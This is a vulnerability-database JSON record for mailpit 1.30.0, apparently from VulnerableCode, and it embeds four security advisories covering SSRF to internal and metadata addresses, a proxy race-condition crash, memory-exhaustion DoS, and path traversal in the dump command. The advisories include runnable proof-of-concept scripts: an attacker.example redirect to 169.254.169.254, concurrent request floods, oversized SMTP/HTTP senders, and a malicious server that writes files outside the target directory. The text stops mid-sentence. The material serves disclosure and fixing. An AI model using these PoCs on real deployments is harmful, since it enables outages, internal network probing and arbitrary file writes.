{"url":"http://public2.vulnerablecode.io/api/packages/117333?format=json","purl":"pkg:golang/github.com/axllent/mailpit@1.30.0","type":"golang","namespace":"github.com/axllent","name":"mailpit","version":"1.30.0","qualifiers":{},"subpath":"","is_vulnerable":false,"next_non_vulnerable_version":null,"latest_non_vulnerable_version":null,"affected_by_vulnerabilities":[],"fixing_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/94138?format=json","vulnerability_id":"VCID-2se1-27tr-7bfn","summary":"Mailpit has an incomplete fix for GHSA-6jxm: HTML check still permits SSRF to private/loopback/IMDS via missing IP-filter dialer\n## Summary\n\nThe fix for GHSA-6jxm-fv7w-rw5j (CVE-2026-23845, \"Server-Side Request Forgery (SSRF) via HTML Check API\"), shipped in mailpit `v1.28.3`, hardened `internal/htmlcheck/css.go::downloadCSSToBytes` with a 5MB size cap, a `text/css` content-type check, login-info stripping in `isValidURL`, and an opt-in `--block-remote-css-and-fonts` config flag — but **did not add the IP-filtering dialer that the same codebase already uses on the two sister SSRF endpoints** (the proxy handler and link-check). At HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06), `internal/htmlcheck/css.go::newSafeHTTPClient` is mis-named — it builds an `http.Client` whose `Transport.DialContext` calls `net.Dialer.DialContext` directly with no IP allowlisting. As a result, the SSRF originally reported by Bao Anh Phan still permits the server to dial:\n\n- loopback (`127.0.0.0/8`, `::1`),\n- private (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `fc00::/7`),\n- link-local incl. **cloud IMDS** (`169.254.0.0/16`, especially `169.254.169.254`),\n- CGNAT (`100.64.0.0/10`),\n- and any other reserved/multicast range,\n\n— provided the target replies with `HTTP/200` and a content-type beginning with `text/css`. With redirect-following (`CheckRedirect` allows redirects to any `isValidURL` URL with no IP filter), an attacker-controlled public site can redirect mailpit's request into the private network without ever appearing in the email's HTML.\n\nIn the default mailpit deploy (no UI auth, no SMTP auth, port 1025/8025 exposed), this is an unauthenticated, network-reachable SSRF triggered by sending an HTML email and then issuing one HTTP `GET` to `/api/v1/message/{id}/html-check`.\n\n## Affected versions\n\n- `internal/htmlcheck/css.go` at HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06).\n- All versions `>= v1.28.3` (the version that shipped the GHSA-6jxm fix). Versions `<= v1.28.2` are vulnerable to the original GHSA-6jxm; versions `>= v1.28.3` carry the still-vulnerable variant described here.\n\n## The incomplete fix\n\nThe original GHSA-6jxm fix added size+content-type+login-info hardening to `downloadCSSToBytes`. But the dialer it uses still has no `safeDialContext`. The companion `linkcheck` and `proxy` handlers in the same codebase have all-three protections: size cap, content-type/redirect filter, **AND** a `safeDialContext` that runs `tools.IsInternalIP(ip.IP)` per resolved address — same pattern the htmlcheck dialer should adopt.\n\nSide-by-side at HEAD `8bc966e`:\n\n| File | Function | `safeDialContext` (IP filter)? | TOCTOU-safe (dial-by-IP)? |\n|---|---|---|---|\n| `internal/linkcheck/status.go::safeDialContext` line 140-163 | dial check | YES | YES (resolved IP joined with port) |\n| `server/handlers/proxy.go::safeDialContext` line 393-415 | dial check | YES | YES |\n| `internal/htmlcheck/css.go::newSafeHTTPClient` line 275-310 | dial check | **NO** | n/a |\n\nThe mis-named `newSafeHTTPClient` reads:\n\n```go\n// internal/htmlcheck/css.go:275-310\nfunc newSafeHTTPClient() *http.Client {\n    dialer := &net.Dialer{\n        Timeout:   5 * time.Second,\n        KeepAlive: 30 * time.Second,\n    }\n\n    tr := &http.Transport{\n        Proxy: nil,\n        DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {\n            return dialer.DialContext(ctx, network, address)   // no IP filter\n        },\n        ...\n    }\n\n    client := &http.Client{\n        Transport: tr,\n        Timeout:   15 * time.Second,\n        CheckRedirect: func(req *http.Request, via []*http.Request) error {\n            if len(via) >= 3 { return errors.New(\"too many redirects\") }\n            if !isValidURL(req.URL.String()) { return errors.New(\"invalid redirect URL\") }\n            return nil\n        },\n    }\n    return client\n}\n```\n\n`isValidURL` only rejects non-http(s) and userinfo URLs — it does NOT reject internal IPs. Compare `linkcheck/status.go::safeDialContext`:\n\n```go\nips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n...\nif !config.AllowInternalHTTPRequests {\n    for _, ip := range ips {\n        if tools.IsInternalIP(ip.IP) {\n            return nil, fmt.Errorf(\"blocked request to %s (%s): private/reserved address\", host, ip)\n        }\n    }\n}\nreturn dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))\n```\n\nThat's the protection htmlcheck is missing.\n\n## Reachability chain (default deploy)\n\n```\nListen()                                 # config/config.go:36 SMTPListen = \"[::]:1025\"\n   ↓\nSMTP server                              # internal/smtpd/main.go:222-249  AuthRequired: false, AuthHandler: nil\n   ↓ attacker injects HTML body with <link rel=\"stylesheet\" href=\"...attacker.com/redirect.css\">\n   ↓\nstorage.Store(...)\n   ↓\nListen()                                 # server/server.go HTTPListen\n   ↓ attacker sends GET /api/v1/message/{id}/html-check\napiv1.HTMLCheck                          # server/apiv1/other.go:18\n   ↓ no UI auth in default deploy (auth.UICredentials == nil)\nhtmlcheck.RunTests(msg.HTML)             # internal/htmlcheck/main.go:17\n   ↓\nrunCSSTests → inlineRemoteCSS            # internal/htmlcheck/css.go:25, 132\n   ↓\ndownloadCSSToBytes(href)                 # internal/htmlcheck/css.go:192\n   ↓\nnewSafeHTTPClient()                      # internal/htmlcheck/css.go:275\n   ↓ no IP filter on Transport.DialContext or CheckRedirect\nclient.Do(req) → attacker-controlled origin → 302 redirect to internal IP → success\n```\n\n## PoC\n\nDefault-deploy reproduction (no auth):\n\n```bash\n# 1) start mailpit with defaults (no --smtp-auth, no --ui-auth)\ndocker run -p 1025:1025 -p 8025:8025 axllent/mailpit:latest\n\n# 2) attacker hosts a redirect to an internal target\n#    e.g., http://attacker.example.com/test.css → 302 → http://169.254.169.254/...\n\n# 3) inject email via SMTP (no auth required)\npython3 - <<'EOF'\nimport smtplib\nfrom email.mime.text import MIMEText\nhtml = '''<!DOCTYPE html><html><head>\n  <link rel=\"stylesheet\" href=\"http://attacker.example.com/test.css\">\n</head><body>x</body></html>'''\nm = MIMEText(html, 'html')\nm['Subject'] = 'mailpit-001'\nm['From'] = 'a@b'\nm['To']   = 'c@d'\nwith smtplib.SMTP('localhost', 1025) as s:\n    s.send_message(m)\nEOF\n\n# 4) get the message ID\nID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')\n\n# 5) trigger the SSRF with one anonymous GET\ncurl -i http://localhost:8025/api/v1/message/$ID/html-check\n```\n\nThe HTTP server-side dial follows `http://attacker.example.com/test.css` → 302 redirect to `http://127.0.0.1:6379/` → mailpit completes a TCP connect to the loopback Redis. No request body is reflected to the attacker (mailpit only inlines successful 200 + `text/css` responses), but:\n\n- **State-changing internal GETs.** Any internal admin app served on `127.0.0.1` or RFC1918 with a \"GET /admin/restart\", \"GET /vacuum\", \"GET /flush\" pattern can be triggered through this primitive. Several common stacks (Spring Actuator, etcd debug, internal Prometheus admin, Redis HTTP front-ends, Jaeger UI) expose such operations on private ports.\n- **Cloud-IMDS reachability oracle.** Because IMDS responses don't carry `text/css`, the body is not inlined — but the redirect chain DOES dial 169.254.169.254. A side-channel (response time, DNS log) can confirm IMDS reachability from a default-deploy mailpit on cloud.\n- **Internal port-scan via timing.** The 5s+15s timeouts produce a clear timing differential between \"RST refused\" (~ms), \"open and HTTP-noisy\" (~10ms+), and \"filtered\" (multi-second).\n- **Authenticated `Mailpit/<version>` GET.** Every internal target sees a known UA from a trusted internal subnet; combined with redirect-stripping, this can fool internal allowlists keyed on UA.\n\n## Threat model alignment\n\nThe maintainer's prior position on the SSRF class is captured by GHSA-6jxm-fv7w-rw5j (HTML Check, Medium), GHSA-mpf7-p9x7-96r3 (Link Check, Medium), and GHSA-8v65-47jx-7mfr (Proxy Endpoint, Medium). All three are siblings in the same SSRF class, and the maintainer chose to remediate each via a `safeDialContext`-style filter in the linkcheck and proxy fixes. The htmlcheck fix is the outlier: same class, same severity, but the IP filter was not applied. The remaining surface is therefore a regression of the published fix's stated goal (\"disallow internal targets\").\n\nDefault-deploy reachability is unauthenticated (per the maintainer's own README, mailpit is intended to run without auth in dev/CI). With UI auth configured, the same primitive is post-auth — still useful (UI-auth mailpit deployments often live on the internal/ops subnet, exposing other ops services).\n\n## Suggested fix\n\nMake `newSafeHTTPClient` use the same `safeDialContext` pattern already proven in `linkcheck/status.go` and `server/handlers/proxy.go`. Concretely:\n\n```go\n// internal/htmlcheck/css.go\nfunc newSafeHTTPClient() *http.Client {\n    dialer := &net.Dialer{\n        Timeout:   5 * time.Second,\n        KeepAlive: 30 * time.Second,\n    }\n\n    tr := &http.Transport{\n        Proxy:                 nil,\n        DialContext:           safeDialContext(dialer),  // ← add IP filter\n        TLSHandshakeTimeout:   5 * time.Second,\n        ResponseHeaderTimeout: 10 * time.Second,\n        ExpectContinueTimeout: 1 * time.Second,\n        IdleConnTimeout:       30 * time.Second,\n        MaxIdleConns:          50,\n    }\n\n    client := &http.Client{\n        Transport: tr,\n        Timeout:   15 * time.Second,\n        CheckRedirect: func(req *http.Request, via []*http.Request) error {\n            if len(via) >= 3 {\n                return errors.New(\"too many redirects\")\n            }\n            if !isValidURL(req.URL.String()) {\n                return errors.New(\"invalid redirect URL\")\n            }\n            // safeDialContext re-runs IP filter on each hop's Dial,\n            // so redirect target IP is also enforced.\n            return nil\n        },\n    }\n    return client\n}\n\n// safeDialContext is the same pattern as linkcheck/status.go::safeDialContext\n// — copy the function (or factor a shared helper into internal/tools/net.go).\nfunc safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {\n    return func(ctx context.Context, network, address string) (net.Conn, error) {\n        host, port, err := net.SplitHostPort(address)\n        if err != nil { return nil, err }\n        ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n        if err != nil { return nil, err }\n        if !config.AllowInternalHTTPRequests {\n            for _, ip := range ips {\n                if tools.IsInternalIP(ip.IP) {\n                    return nil, fmt.Errorf(\"blocked request to %s (%s): private/reserved address\", host, ip)\n                }\n            }\n        }\n        return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))\n    }\n}\n```\n\nTwo further hardening notes:\n\n1. **Add CGNAT 100.64.0.0/10 (RFC 6598).** `tools.IsInternalIP` covers loopback, private, link-local, multicast, unspecified — but not CGNAT. This affects all three SSRF dialers (htmlcheck, linkcheck, proxy). Tailscale tailnets and GCP IAP fall in `100.64.0.0/10`; an mailpit instance running on a Tailscale node can be used to pivot into the tailnet. Concrete fix: extend `tools.IsInternalIP` with `cgnat := net.IPNet{IP: net.IPv4(100, 64, 0, 0), Mask: net.CIDRMask(10, 32)}; if cgnat.Contains(ip) { return true }`.\n2. **Re-validate the rename.** `newSafeHTTPClient` is a misleading name today — once the dialer is hardened, the name will be accurate. Until then, consider renaming it to `newHTTPClient` to remove the false sense of safety it conveys to maintainers reading the file.\n\n## Reproduction environment\n\n- Tested against: HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06).\n- Code locations:\n  - Vulnerable dialer: `internal/htmlcheck/css.go:275-310`\n  - Vulnerable downloader: `internal/htmlcheck/css.go:192-229`\n  - Reachability gate: `internal/htmlcheck/css.go:131-187` (`inlineRemoteCSS`)\n  - Trigger handler: `server/apiv1/other.go:18-79` (`HTMLCheck`)\n  - Default no-UI-auth: `internal/auth/auth.go` + middleware in `server/server.go:317`\n  - Default no-SMTP-auth: `internal/smtpd/main.go:229-230`\n  - Sister fixed dialers (for diff): `internal/linkcheck/status.go:140-163`, `server/handlers/proxy.go:393-415`\n\n## Reporter\n\nEddie Ran. Filed via reporter API.","references":[{"reference_url":"https://github.com/axllent/mailpit","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit"},{"reference_url":"https://github.com/axllent/mailpit/security/advisories/GHSA-j3fj-qppj-fmmc","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit/security/advisories/GHSA-j3fj-qppj-fmmc"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/117333?format=json","purl":"pkg:golang/github.com/axllent/mailpit@1.30.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:golang/github.com/axllent/mailpit@1.30.0"}],"aliases":["CVE-2026-45709","GHSA-j3fj-qppj-fmmc"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-2se1-27tr-7bfn"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/94260?format=json","vulnerability_id":"VCID-4k5k-zwx4-3qeh","summary":"Mailpit: Concurrent map read & write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)\n### Summary\nThe screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.\n\n### Details\nA remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.\n\nAffected code\n[server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229)\n[server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66)\n[server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) \n\nGo's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw(\"concurrent map read and map write\") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.\n\n### PoC\n1. Deposit any message with a <link rel=\"stylesheet\" href=\"https://attacker.example/big.css\"> in the store (SMTP or /api/v1/send, both unauthenticated by default).\n2. Make a few hundred concurrent requests to /proxy?data=base64(<id>:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.\n\nSkeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct):\n\n```\n# proxy-race.py\nimport socket, threading, base64, sys\n\nID = sys.argv[1]                                   # 22-char shortuuid\nCSS = \"https://attacker.example/big.css\"\nTOKEN = base64.b64encode(f\"{ID}:{CSS}\".encode()).decode()\n\nreq = (\n    f\"GET /proxy?data={TOKEN} HTTP/1.1\\r\\n\"\n    f\"Host: target:8025\\r\\n\"\n    f\"Connection: close\\r\\n\\r\\n\"\n).encode()\n\ndef hit():\n    try:\n        s = socket.create_connection((\"target\", 8025), timeout=10)\n        s.sendall(req)\n        while s.recv(8192): pass\n        s.close()\n    except Exception: pass\n\nfor _ in range(50):                                # 50 rounds\n    ts = [threading.Thread(target=hit) for _ in range(300)]\n    for t in ts: t.start()\n    for t in ts: t.join()\n```\n\nWhen the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:\n\n```\nfatal error: concurrent map read and map write\n\ngoroutine 123 [running]:\nruntime.throw(...)\ngithub.com/axllent/mailpit/server/handlers.ProxyHandler(...)\n        server/handlers/proxy.go:216\n...\n```\n\n…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.\n\n### Impact\nUnauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).","references":[{"reference_url":"https://github.com/axllent/mailpit","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit"},{"reference_url":"https://github.com/axllent/mailpit/releases/tag/v1.30.0","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit/releases/tag/v1.30.0"},{"reference_url":"https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/117333?format=json","purl":"pkg:golang/github.com/axllent/mailpit@1.30.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:golang/github.com/axllent/mailpit@1.30.0"}],"aliases":["CVE-2026-45712","GHSA-w4vj-r5pg-3722"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-4k5k-zwx4-3qeh"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/95182?format=json","vulnerability_id":"VCID-j8s6-6tbb-g7h4","summary":"Mailpit: Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes\n### Summary\nThe Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ \"no limit\"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill.\n\n### Details\nPre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).\n\n\nAffected code\n[internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists:\n\n```\ntype Server struct {\n    ...\n    MaxSize int // Maximum message size allowed, in bytes\n    ...\n}\n```\n[internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0:\n\n```\nfor {\n    ...\n    line, err := s.br.ReadBytes('\\n')\n    if err != nil {\n        return nil, err\n    }\n    if bytes.Equal(line, []byte(\".\\r\\n\")) {\n        break\n    }\n    if line[0] == '.' {\n        line = line[1:]\n    }\n\n    if s.srv.MaxSize > 0 {                                   // ← only when set\n        if len(data)+len(line) > s.srv.MaxSize {\n            _, _ = s.br.Discard(s.br.Buffered())\n            return nil, maxSizeExceeded(s.srv.MaxSize)\n        }\n    }\n    data = append(data, line...)                             // ← otherwise grows unbounded\n}\n```\n[internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn \"MaxSize\" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.\n\n[server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect:\n\n```\ndecoder := json.NewDecoder(r.Body)\ndata := sendMessageParams{}\nif err := decoder.Decode(&data.Body); err != nil {\n    httpJSONError(w, err.Error())\n    return\n}\n```\n\nNo r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.\n\n### PoC\nBaseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):\n\n```\n#!/usr/bin/env python3\n# poc-smtp-dos.py\nimport socket, sys\nhost, port = sys.argv[1], int(sys.argv[2])\nmb         = int(sys.argv[3])  # message size, MiB\n\ns = socket.create_connection((host, port), timeout=120)\ndef r(): return s.recv(4096).decode(\"latin-1\", \"replace\").strip()\nprint(r())\nfor cmd in [b\"HELO x\\r\\n\",\n            b\"MAIL FROM:<a@b.com>\\r\\n\",\n            b\"RCPT TO:<c@d.com>\\r\\n\",\n            b\"DATA\\r\\n\"]:\n    s.sendall(cmd); print(r())\ns.sendall(b\"Subject: oversize\\r\\n\\r\\n\")\nchunk = b\"X\" * (1024 * 1024)\nfor _ in range(mb): s.sendall(chunk)\ns.sendall(b\"\\r\\n.\\r\\n\")\nprint(r()); s.close()\n```\n\n```\n$ python3 poc-smtp-dos.py 127.0.0.1 1025 100\n220 hostname Mailpit ESMTP Service ready\n250 hostname greets x\n250 2.1.0 Ok\n250 2.1.5 Ok\n354 Start mail input; end with <CR><LF>.<CR><LF>\n250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj\n\n$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)\n1062848    # ≈ 1 037 MiB, up from 25 MiB baseline\n```\n\nEquivalent over HTTP:\n\n```\n# poc-http-dos.py\nimport socket, sys\nhost, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])\nprefix = b'{\"From\":{\"Email\":\"a@b.com\"},\"To\":[{\"Email\":\"c@d.com\"}],\"Subject\":\"big\",\"Text\":\"'\nsuffix = b'\"}'\nN      = mb * 1024 * 1024\nclen   = len(prefix) + N + len(suffix)\n\ns = socket.create_connection((host, port), timeout=120)\ns.sendall(\n    b\"POST /api/v1/send HTTP/1.1\\r\\n\"\n    b\"Host: x\\r\\n\"\n    b\"Content-Type: application/json\\r\\n\"\n    b\"Content-Length: \" + str(clen).encode() + b\"\\r\\n\"\n    b\"Connection: close\\r\\n\\r\\n\")\ns.sendall(prefix)\nchunk = b\"X\" * (1024 * 1024)\nfor _ in range(mb): s.sendall(chunk)\ns.sendall(suffix)\nprint(s.recv(500).decode(\"latin-1\", \"replace\"))\n```\n\n```\n$ python3 poc-http-dos.py 127.0.0.1 8025 200\nHTTP/1.1 200 OK\n...\n$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)\n2147000      # comfortably above 2 GiB on the same process\n\n```\n\nFive concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.\n\n### Impact\nUnauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)","references":[{"reference_url":"https://github.com/axllent/mailpit","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit"},{"reference_url":"https://github.com/axllent/mailpit/releases/tag/v1.30.0","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit/releases/tag/v1.30.0"},{"reference_url":"https://github.com/axllent/mailpit/security/advisories/GHSA-fpxj-m5q8-fphw","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/axllent/mailpit/security/advisories/GHSA-fpxj-m5q8-fphw"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/117333?format=json","purl":"pkg:golang/github.com/axllent/mailpit@1.30.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:golang/github.com/axllent/mailpit@1.30.0"}],"aliases":["CVE-2026-45713","GHSA-fpxj-m5q8-fphw"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-j8s6-6tbb-g7h4"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/94989?format=json","vulnerability_id":"VCID-y7ph-bwdn-sya8","summary":"Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs\n### Summary\nThe mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.\n\n### Details\nAnyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.\n\n### Affected code\n[internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155):\n\npath.Join(\"/safe/out/dir\", \"../../../../etc/cron.d/payload.eml\") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.\n\nThe underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL.\n\n### PoC\n\n1. Run a malicious \"Mailpit\" server that returns one message whose ID contains .. segments:\n\n```python\n# evil-mailpit.py\nimport http.server, json\n\nclass Evil(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        if \"/api/v1/messages\" in self.path:\n            resp = {\n                \"total\": 1, \"unread\": 0, \"count\": 1,\n                \"messages_count\": 1, \"messages_unread\": 0,\n                \"start\": 0, \"tags\": [],\n                \"messages\": [{\n                    \"ID\": \"../../../../tmp/mailpit-pwn\",          # ← traversal\n                    \"MessageID\": \"x\", \"Read\": False,\n                    \"From\": {\"Name\": \"\", \"Address\": \"a@b\"},\n                    \"To\":   [{\"Name\": \"\", \"Address\": \"c@d\"}],\n                    \"Cc\": None, \"Bcc\": None, \"ReplyTo\": [],\n                    \"Subject\": \"evil\",\n                    \"Created\": \"2026-01-01T00:00:00Z\",\n                    \"Tags\": [], \"Size\": 5,\n                    \"Attachments\": 0, \"Snippet\": \"\"\n                }]\n            }\n            body = json.dumps(resp).encode()\n            ctype = \"application/json\"\n        elif \"/raw\" in self.path:\n            body  = b\"PWNED BY MAILPIT DUMP TRAVERSAL\\n\"\n            ctype = \"text/plain\"\n        else:\n            self.send_response(404); self.end_headers(); return\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", ctype)\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\nhttp.server.HTTPServer((\"127.0.0.1\", 19090), Evil).serve_forever()\n```\n\n```\n$ python3 evil-mailpit.py &\n$ mkdir -p /tmp/dump-out\n$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out\n```\n\n2. Observe the file was written outside the requested output directory:\n\n```\n$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml\n/tmp/dump-out/                                        ← empty\ntotal 0\n-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml\n$ cat /tmp/mailpit-pwn.eml\nPWNED BY MAILPIT DUMP TRAVERSAL\n```\n\nThe same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.\n\n### Impact\nArbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and 